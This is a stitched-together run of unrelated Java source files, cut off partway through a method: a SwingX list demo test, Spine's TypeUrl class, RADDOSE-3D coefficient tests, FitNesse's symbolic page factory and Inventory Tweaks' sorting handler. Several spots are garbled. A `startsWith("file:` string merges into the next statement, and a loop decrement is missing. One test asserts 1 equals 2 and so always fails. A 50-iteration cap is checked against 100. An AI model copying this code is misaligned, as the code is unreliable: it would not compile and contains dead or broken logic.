gradientHighlighter.setYellowTransparent(isSelected()); } }; toggleTransparent.setStateAction(); JCheckBox box = new JCheckBox(); factory.configureButton(box, toggleTransparent, null); return box; } /** * * @return a ListModel wrapped around the AncientSwingTeam's Number column. */ private ListModel createListNumberModel() { AncientSwingTeam tableModel = new AncientSwingTeam(); int colorColumn = 3; DefaultListModel model = new DefaultListModel(); for (int i = 0; i < tableModel.getRowCount(); i++) { model.addElement(tableModel.getValueAt(i, colorColumn)); } return model; } /** * Fills the list with a collection of actions (as returned from the * table's column control). Binds space and double-click to toggle * the action's selected state. * * note: this is just an example to show-off the button renderer in a list! * ... it's very dirty!! * * @param list * @param table */ private void configureList(final JXList list, final JXTable table, boolean useRollover) { final List<Action> actions = new ArrayList<Action>(); @SuppressWarnings("all") ColumnControlButton columnControl = new ColumnControlButton(table, null) { @Override protected void addVisibilityActionItems() { actions.addAll(Collections .unmodifiableList(getColumnVisibilityActions())); } }; list.setModel(createListeningListModel(actions)); // action toggling selected state of selected list item final Action toggleSelected = new AbstractActionExt( "toggle column visibility") { public void actionPerformed(ActionEvent e) { if (list.isSelectionEmpty()) return; AbstractActionExt selectedItem = (AbstractActionExt) list .getSelectedValue(); selectedItem.setSelected(!selectedItem.isSelected()); } }; if (useRollover) { list.setRolloverEnabled(true); } else { // bind action to space list.getInputMap().put(KeyStroke.getKeyStroke("SPACE"), "toggleSelectedActionState"); } list.getActionMap().put("toggleSelectedActionState", toggleSelected); // bind action to double-click MouseAdapter adapter = new MouseAdapter() { @Override public void mouseClicked(MouseEvent e) { if (e.getClickCount() == 2) { toggleSelected.actionPerformed(null); } } }; list.addMouseListener(adapter); } /** * Creates and returns a ListModel containing the given actions. * Registers a PropertyChangeListener with each action to get * notified and fire ListEvents. * * @param actions the actions to add into the model. * @return the filled model. */ private ListModel createListeningListModel(final List<Action> actions) { final DefaultListModel model = new DefaultListModel() { DefaultListModel reallyThis = this; @Override public void addElement(Object obj) { super.addElement(obj); ((Action) obj).addPropertyChangeListener(l); } PropertyChangeListener l = new PropertyChangeListener() { public void propertyChange(PropertyChangeEvent evt) { int index = indexOf(evt.getSource()); if (index >= 0) { fireContentsChanged(reallyThis, index, index); } } }; }; for (Action action : actions) { model.addElement(action); } return model; } /** * do-nothing method - suppress warning if there are no other * test fixtures to run. * */ public void testDummy() { } }
package org.spine3.type; import com.google.common.annotations.VisibleForTesting; import com.google.protobuf.Any; import com.google.protobuf.AnyOrBuilder; import com.google.protobuf.Descriptors; import com.google.protobuf.Descriptors.Descriptor; import com.google.protobuf.Descriptors.EnumDescriptor; import com.google.protobuf.Descriptors.GenericDescriptor; import com.google.protobuf.InvalidProtocolBufferException; import com.google.protobuf.Message; import org.spine3.Internal; import org.spine3.annotations.AnnotationsProto; import org.spine3.base.Command; import org.spine3.base.Event; import org.spine3.envelope.CommandEnvelope; import org.spine3.envelope.EventEnvelope; import org.spine3.envelope.MessageEnvelope; import java.util.Set; import java.util.regex.Pattern; import static com.google.common.base.Preconditions.checkNotNull; import static com.google.common.base.Preconditions.checkState; import static org.spine3.validate.Validate.checkNotEmptyOrBlank; /** * A URL of a Protobuf type. * * <p>Consists of the two parts separated with a slash. * The first part is the type URL prefix (for example, {@code "type.googleapis.com"}); * the second part is a fully-qualified Protobuf type name. * * @author Alexander Yevsyukov * @see Any#getTypeUrl() * @see Descriptors.FileDescriptor#getFullName() */ public final class TypeUrl extends StringTypeValue { private static final String SEPARATOR = "/"; private static final Pattern TYPE_URL_SEPARATOR_PATTERN = Pattern.compile(SEPARATOR); private static final String PROTOBUF_PACKAGE_SEPARATOR = "."; private static final Pattern PROTOBUF_PACKAGE_SEPARATOR_PATTERN = Pattern.compile('\\' + PROTOBUF_PACKAGE_SEPARATOR); @VisibleForTesting static final String GOOGLE_TYPE_URL_PREFIX = "type.googleapis.com"; public static final String SPINE_TYPE_URL_PREFIX = "type.spine3.org"; private static final String GOOGLE_PROTOBUF_PACKAGE = "google.protobuf"; /** The prefix of the type URL. */ private final String prefix; /** The name of the Protobuf type. */ private final String typeName; private TypeUrl(String prefix, String typeName) { super(composeTypeUrl(prefix, typeName)); this.prefix = checkNotEmptyOrBlank(prefix, "typeUrlPrefix"); this.typeName = checkNotEmptyOrBlank(typeName, "typeName"); } /** * Create new {@code TypeUrl}. */ private static TypeUrl create(String prefix, String typeName) { return new TypeUrl(prefix, typeName); } @VisibleForTesting static String composeTypeUrl(String typeUrlPrefix, String typeName) { final String url = typeUrlPrefix + SEPARATOR + typeName; return url; } /** * Creates a new type URL taking it from the passed message instance. * * @param msg an instance to get the type URL from */ public static TypeUrl of(Message msg) { return from(msg.getDescriptorForType()); } /** * Creates a new instance by the passed message descriptor taking its type URL. * * @param descriptor the descriptor of the type */ public static TypeUrl from(Descriptor descriptor) { final String typeUrlPrefix = getTypeUrlPrefix(descriptor); return create(typeUrlPrefix, descriptor.getFullName()); } /** * Creates a new instance by the passed enum descriptor taking its type URL. * * @param descriptor the descriptor of the type */ public static TypeUrl from(EnumDescriptor descriptor) { final String typeUrlPrefix = getTypeUrlPrefix(descriptor); return create(typeUrlPrefix, descriptor.getFullName()); } /** * Creates a new instance from the passed type URL or type name. * * @param typeUrlOrName the type URL of the Protobuf message type or its fully-qualified name */ @Internal public static TypeUrl of(String typeUrlOrName) { checkNotEmptyOrBlank(typeUrlOrName, "type URL or name"); final TypeUrl typeUrl = isTypeUrl(typeUrlOrName) ? ofTypeUrl(typeUrlOrName) : ofTypeName(typeUrlOrName); return typeUrl; } private static boolean isTypeUrl(String str) { return str.contains(SEPARATOR); } private static TypeUrl ofTypeUrl(String typeUrl) { final String[] parts = TYPE_URL_SEPARATOR_PATTERN.split(typeUrl); if (parts.length != 2 || parts[0].trim().isEmpty() || parts[1].trim().isEmpty()) { throw new IllegalArgumentException( new InvalidProtocolBufferException("Invalid Protobuf type url encountered: " + typeUrl)); } return create(parts[0], parts[1]); } private static TypeUrl ofTypeName(String typeName) { final TypeUrl typeUrl = KnownTypes.getTypeUrl(typeName); return typeUrl; } /** * Obtains the type URL of the message enclosed into the instance of {@link Any}. * * @param any the instance of {@code Any} containing a {@code Message} instance of interest * @return a type URL */ public static TypeUrl ofEnclosed(AnyOrBuilder any) { final TypeUrl typeUrl = ofTypeUrl(any.getTypeUrl()); return typeUrl; } /** * Obtains the type URL of the command message. * * <p>The passed command must have non-default message. * * @param command the command from which to get the URL * @return the type URL of the command message */ public static TypeUrl ofCommand(Command command) { return ofEnclosedMessage(CommandEnvelope.of(command)); } /** * Obtains the type URL of the event message. * * <p>The event must contain non-default message. * * @param event the event for which get the type URL * @return the type URL of the event message. */ public static TypeUrl ofEvent(Event event) { return ofEnclosedMessage(EventEnvelope.of(event)); } private static TypeUrl ofEnclosedMessage(MessageEnvelope envelope) { checkNotNull(envelope); final Message message = envelope.getMessage(); final TypeUrl result = of(message); return result; } /** Obtains the type URL for the passed message class. */ public static TypeUrl of(Class<? extends Message> clazz) { final Message defaultInstance = com.google.protobuf.Internal.getDefaultInstance(clazz); final TypeUrl result = of(defaultInstance); return result; } private static String getTypeUrlPrefix(GenericDescriptor descriptor) { final Descriptors.FileDescriptor file = descriptor.getFile(); if (file.getPackage().equals(GOOGLE_PROTOBUF_PACKAGE)) { return GOOGLE_TYPE_URL_PREFIX; } final String result = file.getOptions() .getExtension(AnnotationsProto.typeUrlPrefix); return result; } /** * Obtains the prefix of the type URL. */ public String getPrefix() { return prefix; } /** * Obtains the type name. */ public String getTypeName() { return typeName; } /** * Returns the unqualified name of the Protobuf type, for example: {@code StringValue}. */ public String getSimpleName() { if (typeName.contains(PROTOBUF_PACKAGE_SEPARATOR)) { final String[] parts = PROTOBUF_PACKAGE_SEPARATOR_PATTERN.split(typeName); checkState(parts.length > 0, "Invalid type name: " + typeName); final String result = parts[parts.length - 1]; return result; } else { return typeName; } } /** * Retrieves all the type URLs that belong to the given package or its subpackages. * * @param packageName proto package name * @return set of {@link TypeUrl TypeUrl}s of types that belong to the given package */ public static Set<TypeUrl> getAllFromPackage(String packageName) { return KnownTypes.getTypesFromPackage(packageName); } /** * Obtains all type URLs known to the application. */ public static Set<TypeUrl> getAll() { return KnownTypes.getTypeUrls(); } }
package se.raddo.raddose3D.tests; import java.util.Random; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; import org.testng.annotations.*; import se.raddo.raddose3D.Beam; import se.raddo.raddose3D.BeamTophat; import se.raddo.raddose3D.CoefCalcFromParams; import se.raddo.raddose3D.CoefCalcRaddose; /** * @author magd3052 */ public class CoefCalcTests { /** * Take a unit cell consisting entirely of water and make sure * number of hydrogens is twice the number of oxygens. */ @Test public void testCoefCalcWaterOnly() { List<String> atoms = new ArrayList<String>(); List<Double> numbers = new ArrayList<Double>(); CoefCalcFromParams coefCalc = new CoefCalcFromParams(100.0, 100.0, 100.0, 90.0, 90.0, 90.0, 0, 0, 0, 0, atoms, numbers, atoms, numbers, 100.0); Double oxygenOccurrence = coefCalc.getSolventOccurrence( coefCalc.getParser().getElement("O")); Double hydrogenOccurrence = coefCalc.getSolventOccurrence( coefCalc.getParser().getElement("H")); Assertion.equals(hydrogenOccurrence, oxygenOccurrence * 2, "O vs H"); } /** * Test to make sure protein heavy atoms are added and * multiplied by no. of monomers correctly */ @Test public void testCoefCalcHeavyProteinAtoms() { List<String> emptyAtoms = new ArrayList<String>(); List<Double> emptyNumbers = new ArrayList<Double>(); List<String> atoms = new ArrayList<String>(); List<Double> numbers = new ArrayList<Double>(); atoms.add("zn"); numbers.add(Double.valueOf(2)); CoefCalcFromParams coefCalc = new CoefCalcFromParams(100.0, 100.0, 100.0, 90.0, 90.0, 90.0, 24, 10, 0, 0, atoms, numbers, emptyAtoms, emptyNumbers, 100.0); Double zincOccurrence = coefCalc.getMacromolecularOccurrence( coefCalc.getParser().getElement("ZN")); Assertion.equals(zincOccurrence, 48, "Zn = 48"); } /** * Run an actual scenario and compare to values obtained from RADDOSE2. */ @Test public void testCoefCalcScenario1() { List<String> heavyProtAtomNames = new ArrayList<String>(); List<Double> heavyProtAtomNums = new ArrayList<Double>(); List<String> heavySolutionConcNames = new ArrayList<String>(); List<Double> heavySolutionConcNums = new ArrayList<Double>(); heavyProtAtomNames.add("S"); heavyProtAtomNums.add(10.0); heavySolutionConcNames.add("Na"); heavySolutionConcNames.add("Cl"); heavySolutionConcNums.add(1200.); heavySolutionConcNums.add(200.); CoefCalcFromParams coefCalc = new CoefCalcFromParams( 79.2, 79.2, 38.1, 90.0, 90.0, 90.0, 8, 129, 0, 0, heavyProtAtomNames, heavyProtAtomNums, heavySolutionConcNames, heavySolutionConcNums, 0.); Map<Object, Object> beamProperties = new HashMap<Object, Object>(); beamProperties.put(Beam.BEAM_COLL_H, 80.); beamProperties.put(Beam.BEAM_COLL_V, 80.); beamProperties.put(Beam.BEAM_FLUX, 9.281e8); beamProperties.put(Beam.BEAM_ENERGY, 8.05); Beam b = new BeamTophat(beamProperties); coefCalc.updateCoefficients(b); Assertion.equals(coefCalc.getAbsorptionCoefficient(), 0.001042, "Absorption Coefficient", 0.000005); Assertion.equals(coefCalc.getElasticCoefficient(), 0.000036, "Elastic Coefficient", 0.000005); Assertion.equals(coefCalc.getAttenuationCoefficient(), 0.001095, "Attenuation Coefficient", 0.000005); } /** * Run an actual scenario and compare to values obtained from RADDOSE2. */ @Test public void testCoefCalcScenario2() { List<String> heavyProtAtomNames = new ArrayList<String>(); List<Double> heavyProtAtomNums = new ArrayList<Double>(); List<String> heavySolutionConcNames = new ArrayList<String>(); List<Double> heavySolutionConcNums = new ArrayList<Double>(); heavyProtAtomNames.add("S"); heavyProtAtomNames.add("Se"); heavyProtAtomNames.add("Cu"); heavyProtAtomNums.add(4.0); heavyProtAtomNums.add(2.0); heavyProtAtomNums.add(200.0); heavySolutionConcNames.add("Na"); heavySolutionConcNames.add("Cl"); heavySolutionConcNames.add("As"); heavySolutionConcNums.add(500.); heavySolutionConcNums.add(200.); heavySolutionConcNums.add(200.); CoefCalcFromParams coefCalc = new CoefCalcFromParams( 79.2, 79.2, 38.1, 70.0, 70.0, 50.0, 4, 200, 0, 0, heavyProtAtomNames, heavyProtAtomNums, heavySolutionConcNames, heavySolutionConcNums, 0.); Map<Object, Object> beamProperties = new HashMap<Object, Object>(); beamProperties.put(Beam.BEAM_COLL_H, 80.); beamProperties.put(Beam.BEAM_COLL_V, 80.); beamProperties.put(Beam.BEAM_FLUX, 9.281e8); beamProperties.put(Beam.BEAM_ENERGY, 14.05); Beam b = new BeamTophat(beamProperties); coefCalc.updateCoefficients(b); Assertion.equals(coefCalc.getAbsorptionCoefficient(), 0.004675, "Absorption Coefficient", 0.000005); Assertion.equals(coefCalc.getElasticCoefficient(), 0.000068, "Elastic Coefficient", 0.000005); Assertion.equals(coefCalc.getAttenuationCoefficient(), 0.004769, "Attenuation Coefficient", 0.000005); } /** * Run an actual scenario and compare to values obtained from RADDOSE2. * This input file is stolen from Jonny's insulin crystals! */ @Test public void testCoefCalcScenario3() { List<String> heavyProtAtomNames = new ArrayList<String>(); List<Double> heavyProtAtomNums = new ArrayList<Double>(); List<String> heavySolutionConcNames = new ArrayList<String>(); List<Double> heavySolutionConcNums = new ArrayList<Double>(); heavyProtAtomNames.add("S"); heavyProtAtomNames.add("Zn"); heavyProtAtomNums.add(6.0); heavyProtAtomNums.add(2.0); heavySolutionConcNames.add("P"); heavySolutionConcNums.add(425.); CoefCalcFromParams coefCalc = new CoefCalcFromParams( 78.27, 78.27, 78.27, 90.0, 90.0, 90.0, 24, 51, 0, 0, heavyProtAtomNames, heavyProtAtomNums, heavySolutionConcNames, heavySolutionConcNums, 0.); Map<Object, Object> beamProperties = new HashMap<Object, Object>(); beamProperties.put(Beam.BEAM_COLL_H, 20.); beamProperties.put(Beam.BEAM_COLL_V, 70.); beamProperties.put(Beam.BEAM_FLUX, 2e12); beamProperties.put(Beam.BEAM_ENERGY, 12.1); Beam b = new BeamTophat(beamProperties); coefCalc.updateCoefficients(b); Assertion.equals(coefCalc.getAbsorptionCoefficient(), 4.60e-04, "Absorption Coefficient", 0.000005); Assertion.equals(coefCalc.getElasticCoefficient(), 2.20e-05, "Elastic Coefficient", 0.000005); Assertion.equals(coefCalc.getAttenuationCoefficient(), 4.97e-04, "Attenuation Coefficient", 0.000005); } /** * Random numbers used for CoefCalc */ @Test public void testCoefCalcScenario4() { int testCount = 5; Random random = new Random(0); Assertion.equals(1, 2, System.getProperty("user.dir")); for (int i=0; i < testCount; i++) { List<String> heavyProtAtomNames = new ArrayList<String>(); List<Double> heavyProtAtomNums = new ArrayList<Double>(); List<String> heavySolutionConcNames = new ArrayList<String>(); List<Double> heavySolutionConcNums = new ArrayList<Double>(); heavyProtAtomNames.add("S"); heavyProtAtomNames.add("Fe"); double sulphur = random.nextInt() % 20; double iron = random.nextInt() % 10; heavyProtAtomNums.add(sulphur); heavyProtAtomNums.add(iron); double phosphorus = random.nextInt() % 1000; heavySolutionConcNames.add("P"); heavySolutionConcNums.add(phosphorus); double unit_cell_length = random.nextInt() % 180 + 20; int protein_residues = random.nextInt() % 80 + 20; CoefCalcFromParams coefCalc = new CoefCalcFromParams( unit_cell_length, unit_cell_length, unit_cell_length, 90.0, 90.0, 90.0, 24, protein_residues, 0, 0, heavyProtAtomNames, heavyProtAtomNums, heavySolutionConcNames, heavySolutionConcNums, 0.); CoefCalcRaddose coefCalcRDV2 = new CoefCalcRaddose( unit_cell_length, unit_cell_length, unit_cell_length, 90.0, 90.0, 90.0, 24, protein_residues, 0, 0, heavyProtAtomNames, heavyProtAtomNums, heavySolutionConcNames, heavySolutionConcNums, 0.); Map<Object, Object> beamProperties = new HashMap<Object, Object>(); beamProperties.put(Beam.BEAM_COLL_H, 20.); beamProperties.put(Beam.BEAM_COLL_V, 70.); beamProperties.put(Beam.BEAM_FLUX, 2e12); beamProperties.put(Beam.BEAM_ENERGY, 12.1); Beam b = new BeamTophat(beamProperties); coefCalc.updateCoefficients(b); coefCalcRDV2.updateCoefficients(b); Assertion.equals(coefCalc.getAbsorptionCoefficient(), coefCalcRDV2.getAbsorptionCoefficient(), "Absorption Coefficient", 0.000005); Assertion.equals(coefCalc.getElasticCoefficient(),coefCalcRDV2.getElasticCoefficient(), "Elastic Coefficient", 0.000005); Assertion.equals(coefCalc.getAttenuationCoefficient(), coefCalcRDV2.getAttenuationCoefficient(), "Attenuation Coefficient", 0.000005); } } }
package fitnesse.wiki.fs; import java.io.File; import fitnesse.wiki.*; import fitnesse.wiki.fs.DiskFileSystem; import fitnesse.wiki.fs.FileSystem; import fitnesse.wiki.fs.FileSystemPageFactory; import fitnesse.wiki.fs.SimpleFileVersionsController; import util.EnvironmentVariableTool; public class SymbolicPageFactory { private final WikiPageFactory wikiPageFactory; public SymbolicPageFactory() { this(new DiskFileSystem()); } public SymbolicPageFactory(FileSystem fileSystem) { // FixMe: -AJM- this is a cyclic dependency: FileSystemPageFactory - FileSystemPage - SymbolicPageFactory wikiPageFactory = new FileSystemPageFactory(fileSystem, new SimpleFileVersionsController(fileSystem)); } public WikiPage makePage(String linkPath, String linkName, WikiPage parent) { if (linkPath.startsWith("file: return createExternalSymbolicLink(linkPath, linkName, parent); else return createInternalSymbolicPage(linkPath, linkName, parent); } private WikiPage createExternalSymbolicLink(String linkPath, String linkName, WikiPage parent) { String fullPagePath = EnvironmentVariableTool.replace(linkPath.substring(7)); File file = new File(fullPagePath); File parentDirectory = file.getParentFile(); if (parentDirectory.exists()) { if (file.isDirectory()) { WikiPage externalRoot = wikiPageFactory.makeRootPage(parentDirectory.getPath(), file.getName()); return new SymbolicPage(linkName, externalRoot, parent, this); } } return null; } protected WikiPage createInternalSymbolicPage(String linkPath, String linkName, WikiPage parent) { WikiPagePath path = PathParser.parse(linkPath); WikiPage start = (path.isRelativePath()) ? parent.getParent() : parent; //TODO -AcD- a better way? WikiPage wikiPage = parent.getPageCrawler().getPage(start, path); if (wikiPage != null) wikiPage = new SymbolicPage(linkName, wikiPage, parent, this); return wikiPage; } }
package invtweaks; import invtweaks.api.ContainerSection; import net.minecraft.client.Minecraft; import net.minecraft.enchantment.EnchantmentHelper; import net.minecraft.inventory.Slot; import net.minecraft.item.Item; import net.minecraft.item.ItemArmor; import net.minecraft.item.ItemStack; import java.util.*; import java.util.Map.Entry; import java.util.concurrent.TimeoutException; import java.util.logging.Logger; /** * Core of the sorting behaviour. Allows to move items in a container * (inventory or chest) with respect to the mod's configuration. * * @author Jimeo Wan */ public class InvTweaksHandlerSorting extends InvTweaksObfuscation { private static final Logger log = InvTweaks.log; public static final boolean STACK_NOT_EMPTIED = true; public static final boolean STACK_EMPTIED = false; private static int[] DEFAULT_LOCK_PRIORITIES = null; private static boolean[] DEFAULT_FROZEN_SLOTS = null; private static final int MAX_CONTAINER_SIZE = 999; public static final int ALGORITHM_DEFAULT = 0; public static final int ALGORITHM_VERTICAL = 1; public static final int ALGORITHM_HORIZONTAL = 2; public static final int ALGORITHM_INVENTORY = 3; public static final int ALGORITHM_EVEN_STACKS = 4; private InvTweaksContainerSectionManager containerMgr; private int algorithm; private int size; private boolean sortArmorParts; private InvTweaksItemTree tree; private Vector<InvTweaksConfigSortingRule> rules; private int[] rulePriority; private int[] keywordOrder; private int[] lockPriorities; private boolean[] frozenSlots; public InvTweaksHandlerSorting(Minecraft mc, InvTweaksConfig config, ContainerSection section, int algorithm, int rowSize) throws Exception { super(mc); // Init constants if (DEFAULT_LOCK_PRIORITIES == null) { DEFAULT_LOCK_PRIORITIES = new int[MAX_CONTAINER_SIZE]; for (int i = 0; i < MAX_CONTAINER_SIZE; i++) { DEFAULT_LOCK_PRIORITIES[i] = 0; } } if (DEFAULT_FROZEN_SLOTS == null) { DEFAULT_FROZEN_SLOTS = new boolean[MAX_CONTAINER_SIZE]; for (int i = 0; i < MAX_CONTAINER_SIZE; i++) { DEFAULT_FROZEN_SLOTS[i] = false; } } // Init attributes this.containerMgr = new InvTweaksContainerSectionManager(mc, section); this.size = containerMgr.getSize(); this.sortArmorParts = config.getProperty(InvTweaksConfig.PROP_ENABLE_AUTO_EQUIP_ARMOR).equals(InvTweaksConfig.VALUE_TRUE) && !isGuiInventoryCreative(getCurrentScreen()); // FIXME Armor parts disappear when sorting in creative mode while holding an item this.rules = config.getRules(); this.tree = config.getTree(); if (section == ContainerSection.INVENTORY) { this.lockPriorities = config.getLockPriorities(); this.frozenSlots = config.getFrozenSlots(); this.algorithm = ALGORITHM_INVENTORY; } else { this.lockPriorities = DEFAULT_LOCK_PRIORITIES; this.frozenSlots = DEFAULT_FROZEN_SLOTS; this.algorithm = algorithm; if (algorithm != ALGORITHM_DEFAULT) { computeLineSortingRules(rowSize, algorithm == ALGORITHM_HORIZONTAL); } } this.rulePriority = new int[size]; this.keywordOrder = new int[size]; for (int i = 0; i < size; i++) { this.rulePriority[i] = -1; ItemStack stack = containerMgr.getItemStack(i); if (stack != null) { this.keywordOrder[i] = getItemOrder(stack); } else { this.keywordOrder[i] = -1; } } } public void sort() throws TimeoutException { long timer = System.nanoTime(); InvTweaksContainerManager globalContainer = new InvTweaksContainerManager(mc); // Put hold item down if (getHeldStack() != null) { int emptySlot = globalContainer.getFirstEmptyIndex(ContainerSection.INVENTORY); if (emptySlot != -1) { globalContainer.putHoldItemDown(ContainerSection.INVENTORY, emptySlot); } else { return; // Not enough room to work, abort } } if (algorithm != ALGORITHM_DEFAULT) { if (algorithm == ALGORITHM_EVEN_STACKS) { sortEvenStacks(); } else if (algorithm == ALGORITHM_INVENTORY) { sortInventory(globalContainer); } sortWithRules(); } //// Sort remaining defaultSorting(); if (log.getLevel() == InvTweaksConst.DEBUG) { timer = System.nanoTime() - timer; log.info("Sorting done in " + timer + "ns"); } //// Put hold item down, just in case if (getHeldStack() != null) { int emptySlot = globalContainer.getFirstEmptyIndex(ContainerSection.INVENTORY); if (emptySlot != -1) { globalContainer.putHoldItemDown(ContainerSection.INVENTORY, emptySlot); } } } private void sortWithRules() throws TimeoutException { //// Apply rules log.info("Applying rules."); // Sorts rule by rule, themselves being already sorted by decreasing priority for (InvTweaksConfigSortingRule rule : rules) { int rulePriority = rule.getPriority(); if (log.getLevel() == InvTweaksConst.DEBUG) log.info("Rule : " + rule.getKeyword() + "(" + rulePriority + ")"); // For every item in the inventory for (int i = 0; i < size; i++) { ItemStack from = containerMgr.getItemStack(i); // If the rule is strong enough to move the item and it matches the item, move it if (hasToBeMoved(i) && lockPriorities[i] < rulePriority) { List<InvTweaksItemTreeItem> fromItems = tree.getItems( getItemID(from), getItemDamage(from)); if (tree.matches(fromItems, rule.getKeyword())) { // Test preffered slots int[] preferredSlots = rule.getPreferredSlots(); int stackToMove = i; for (int j = 0; j < preferredSlots.length; j++) { int k = preferredSlots[j]; // Move the stack! int moveResult = move(stackToMove, k, rulePriority); if (moveResult != -1) { if (moveResult == k) { break; } else { from = containerMgr.getItemStack(moveResult); fromItems = tree.getItems(getItemID(from), getItemDamage(from)); if (!tree.matches(fromItems, rule.getKeyword())) { break; } else { stackToMove = moveResult; j = -1; } } } } } } } } //// Don't move locked stacks log.info("Locking stacks."); for (int i = 0; i < size; i++) { if (hasToBeMoved(i) && lockPriorities[i] > 0) { markAsMoved(i, 1); } } } private void sortInventory(InvTweaksContainerManager globalContainer) throws TimeoutException { //// Move items out of the crafting slots log.info("Handling crafting slots."); if (globalContainer.hasSection(ContainerSection.CRAFTING_IN)) { List<Slot> craftingSlots = globalContainer.getSlots(ContainerSection.CRAFTING_IN); int emptyIndex = globalContainer.getFirstEmptyIndex(ContainerSection.INVENTORY); if (emptyIndex != -1) { for (Slot craftingSlot : craftingSlots) { if (hasStack(craftingSlot)) { globalContainer.move( ContainerSection.CRAFTING_IN, globalContainer.getSlotIndex(getSlotNumber(craftingSlot)), ContainerSection.INVENTORY, emptyIndex); emptyIndex = globalContainer.getFirstEmptyIndex(ContainerSection.INVENTORY); if (emptyIndex == -1) { break; } } } } } sortMergeArmor(globalContainer); } private void sortMergeArmor(InvTweaksContainerManager globalContainer) throws TimeoutException { //// Merge stacks to fill the ones in locked slots //// + Move armor parts to the armor slots log.info("Merging stacks."); for (int i = size - 1; i >= 0; i ItemStack from = containerMgr.getItemStack(i); if (from != null) { // Move armor parts Item fromItem = getItem(from); if (isDamageable(fromItem)) { moveArmor(globalContainer, i, from, fromItem); } // Stackable objects are never damageable else { mergeItem(i, from); } } } } private void mergeItem(int i, ItemStack from) throws TimeoutException { int j = 0; for (Integer lockPriority : lockPriorities) { if (lockPriority > 0) { ItemStack to = containerMgr.getItemStack(j); if (to != null && areItemsStackable(from, to)) { move(i, j, Integer.MAX_VALUE); markAsNotMoved(j); if (containerMgr.getItemStack(i) == null) { break; } } } j++; } } private void moveArmor(InvTweaksContainerManager globalContainer, int i, ItemStack from, Item fromItem) { if (sortArmorParts) { if (isItemArmor(fromItem)) { ItemArmor fromItemArmor = asItemArmor(fromItem); if (globalContainer.hasSection(ContainerSection.ARMOR)) { List<Slot> armorSlots = globalContainer.getSlots(ContainerSection.ARMOR); for (Slot slot : armorSlots) { boolean move = false; if (!hasStack(slot)) { move = true; } else { Item currentArmor = getItem(getStack(slot)); if (isItemArmor(currentArmor)) { int armorLevel = getArmorLevel(asItemArmor(currentArmor)); if (armorLevel < getArmorLevel(fromItemArmor) || (armorLevel == getArmorLevel(fromItemArmor) && getItemDamage(getStack(slot)) < getItemDamage(from))) { move = true; } } else { move = true; } } if (areSlotAndStackCompatible(slot, from) && move) { globalContainer.move(ContainerSection.INVENTORY, i, ContainerSection.ARMOR, globalContainer.getSlotIndex(getSlotNumber(slot))); } } } } } } private void sortEvenStacks() throws TimeoutException { log.info("Distributing items."); //item and slot counts for each unique item HashMap<List<Integer>, int[]> itemCounts = new HashMap<List<Integer>, int[]>(); for (int i = 0; i < size; i++) { ItemStack stack = containerMgr.getItemStack(i); if (stack != null) { List<Integer> item = Arrays.asList(getItemID(stack), getItemDamage(stack)); int[] count = itemCounts.get(item); if (count == null) { int[] newCount = {getStackSize(stack), 1}; itemCounts.put(item, newCount); } else { count[0] += getStackSize(stack); //amount of item count[1]++; //slots with item } } } //handle each unique item separately for (Entry<List<Integer>, int[]> entry : itemCounts.entrySet()) { List<Integer> item = entry.getKey(); int[] count = entry.getValue(); int numPerSlot = count[0] / count[1]; //totalNumber/numberOfSlots //skip hacked itemstacks that are larger than their max size //no idea why they would be here, but may as well account for them anyway if (numPerSlot <= getMaxStackSize(new ItemStack(item.get(0), 1, 0))) { //linkedlists to store which stacks have too many/few items LinkedList<Integer> smallStacks = new LinkedList<Integer>(); LinkedList<Integer> largeStacks = new LinkedList<Integer>(); for (int i = 0; i < size; i++) { ItemStack stack = containerMgr.getItemStack(i); if (stack != null && Arrays.asList(getItemID(stack), getItemDamage(stack)).equals(item)) { int stackSize = getStackSize(stack); if (stackSize > numPerSlot) largeStacks.offer(i); else if (stackSize < numPerSlot) smallStacks.offer(i); } } //move items from stacks with too many to those with too little while ((!smallStacks.isEmpty())) { int largeIndex = largeStacks.peek(); int largeSize = getStackSize(containerMgr.getItemStack(largeIndex)); int smallIndex = smallStacks.peek(); int smallSize = getStackSize(containerMgr.getItemStack(smallIndex)); containerMgr.moveSome(largeIndex, smallIndex, Math.min(numPerSlot - smallSize, largeSize - numPerSlot)); //update stack lists largeSize = getStackSize(containerMgr.getItemStack(largeIndex)); smallSize = getStackSize(containerMgr.getItemStack(smallIndex)); if (largeSize == numPerSlot) largeStacks.remove(); if (smallSize == numPerSlot) smallStacks.remove(); } //put all leftover into one stack for easy removal while (largeStacks.size() > 1) { int largeIndex = largeStacks.poll(); int largeSize = getStackSize(containerMgr.getItemStack(largeIndex)); containerMgr.moveSome(largeIndex, largeStacks.peek(), largeSize - numPerSlot); } } } //mark all items as moved. (is there a better way?) for (int i = 0; i < size; i++) markAsMoved(i, 1); } private void defaultSorting() throws TimeoutException { log.info("Default sorting."); ArrayList<Integer> remaining = new ArrayList<Integer>(), nextRemaining = new ArrayList<Integer>(); for (int i = 0; i < size; i++) { if (hasToBeMoved(i)) { remaining.add(i); nextRemaining.add(i); } } int iterations = 0; while (remaining.size() > 0 && iterations++ < 50) { for (int i : remaining) { if (hasToBeMoved(i)) { for (int j = 0; j < size; j++) { if (move(i, j, 1) != -1) { nextRemaining.remove((Integer)j); break; } } } else { nextRemaining.remove((Integer)i); } } remaining.clear(); remaining.addAll(nextRemaining); } if (iterations == 100) { log.warning("Sorting takes too long, aborting."); } } private boolean canMove(int i, int j, int priority) { ItemStack from = containerMgr.getItemStack(i), to = containerMgr.getItemStack(j); if (from == null || frozenSlots[j] || frozenSlots[i] || lockPriorities[i] > priority) { return false; } else { if (i == j) { return true; } if (to == null) { return lockPriorities[j] <= priority && !frozenSlots[j]; } return canSwapSlots(i, j, priority) || canMergeStacks(from, to); } } private boolean canMergeStacks(ItemStack from, ItemStack to) { if (areItemsStackable(from, to)) { if (getStackSize(from) > getMaxStackSize(from)) { return false; } if (getStackSize(to) < getMaxStackSize(to)) { return true; } } return false; } private boolean canSwapSlots(int i, int j, int priority) { return lockPriorities[j] <= priority && (rulePriority[j] < priority || (rulePriority[j] == priority && isOrderedBefore(i, j))); } /** * Tries to move a stack from i to j, and swaps them if j is already * occupied but i is of greater priority (even if they are of same ID). * * @param i from slot * @param j to slot * @param priority The rule priority. Use 1 if the stack was not moved using a rule. * @return -1 if it failed, * j if the stacks were merged into one, * n if the j stack has been moved to the n slot. * @throws TimeoutException */ private int move(int i, int j, int priority) throws TimeoutException { ItemStack from = containerMgr.getItemStack(i), to = containerMgr.getItemStack(j); if (from == null || frozenSlots[j] || frozenSlots[i]) { return -1; } //log.info("Moving " + i + " (" + from + ") to " + j + " (" + to + ") "); if 